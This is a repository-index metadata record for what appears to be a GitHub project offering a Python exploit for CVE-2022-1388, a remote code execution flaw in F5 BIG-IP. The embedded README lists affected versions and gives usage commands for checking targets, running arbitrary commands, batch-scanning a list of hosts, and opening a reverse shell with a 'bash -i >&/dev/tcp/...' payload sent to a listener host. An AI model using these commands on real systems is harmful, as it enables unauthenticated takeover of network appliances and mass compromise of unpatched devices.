{"id":21616685,"url":"https://github.com/al1ex/cve-2022-1388","last_synced_at":"2026-03-03T18:03:41.158Z","repository":{"id":108708209,"uuid":"490307613","full_name":"Al1ex/CVE-2022-1388","owner":"Al1ex","description":"CVE-2022-1388 F5 BIG-IP iControl REST RCE","archived":false,"fork":false,"pushed_at":"2022-05-09T14:20:40.000Z","size":363,"stargazers_count":36,"open_issues_count":1,"forks_count":12,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-11T07:47:25.616Z","etag":null,"topics":["cve-2022-1388","f5-big-ip-icontrol-rest-rce"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2022-05-09T14:01:38.000Z","updated_at":"2025-03-21T12:37:05.000Z","dependencies_parsed_at":"2023-04-13T19:07:06.608Z","dependency_job_id":null,"html_url":"https://github.com/Al1ex/CVE-2022-1388","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Al1ex/CVE-2022-1388","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-1388","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-1388/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-1388/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-1388/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/CVE-2022-1388/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2022-1388/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30054012,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-03T17:46:22.538Z","status":"ssl_error","status_checked_at":"2026-03-03T17:46:22.036Z","response_time":61,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2022-1388","f5-big-ip-icontrol-rest-rce"],"created_at":"2024-11-24T22:15:02.866Z","updated_at":"2026-03-03T18:03:41.150Z","avatar_url":"https://github.com/Al1ex.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"## Vuln Impact\r\n\r\nThis vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. \r\n\r\n## Vuln Product\r\n\r\n- F5 BIG-IQ 11.6.1 - 11.6.5\r\n- F5 BIG-IP 12.1.0 - 12.1.6\r\n- F5 BIG-IP 13.1.0 - 13.1.4\r\n- F5 BIG-IP 14.1.0 - 14.1.4\r\n- F5 BIG-IP 15.1.0 - 15.1.5\r\n- F5 BIG-IP 16.1.0 - 16.1.2\r\n\r\n## Vunl Check\r\n\r\n**Basic usage**\r\n\r\n```\r\npython3 CVE_2022_1388.py\r\n```\r\n\r\n![use](img/use.png)\r\n\r\n**Vuln check**\r\n\r\n```\r\npython3 CVE_2022_1388.py -v true -u https://192.168.17.200\r\n```\r\n\r\n![verify](img/verify.png)\r\n\r\n**command execute:**\r\n\r\n```\r\npython3 CVE_2022_1388.py -a true -u https://192.168.17.200/ -c id\r\n```\r\n\r\n![command_exec](img/exec.png)\r\n\r\n```\r\npython3 CVE_2022_1388.py -a true -u https://192.168.17.200/ -c whoami\r\n```\r\n\r\n![exec_2](img/exec_2.png)\r\n\r\n**batch scan**\r\n\r\n```\r\npython3 CVE_2022_1388.py -s true -f check.txt\r\n```\r\n\r\n![batch_scan](img/vul_scan.png)\r\n\r\n**Reserve Shell**\r\n\r\n```\r\npython3 CVE_2022_1388.py -r true -u https://192.168.17.200 -c \"bash -i \u003e\u0026/dev/tcp/192.168.17.175/8888 0\u003e\u00261\"\r\n```\r\n\r\n![reverse_shell](img/reverse_shell.png)\r\n\r\n![reverse_shell_ok](img/reverse_shell_ok.png)\r\n\r\n\r\n## Reference\r\n\r\nhttps://support.f5.com/csp/article/K23605346\r\n\r\nhttps://mp.weixin.qq.com/s/OC52LIGB5NTITy9EjvKdaw\r\n\r\nhttps://twitter.com/jas502n/status/1523611433938059265\r\n\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-1388\r\n\r\nhttps://github.com/rancher/rancher/security/advisories/GHSA-pvxj-25m6-7vqr\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2022-1388","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Fcve-2022-1388","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2022-1388/lists"}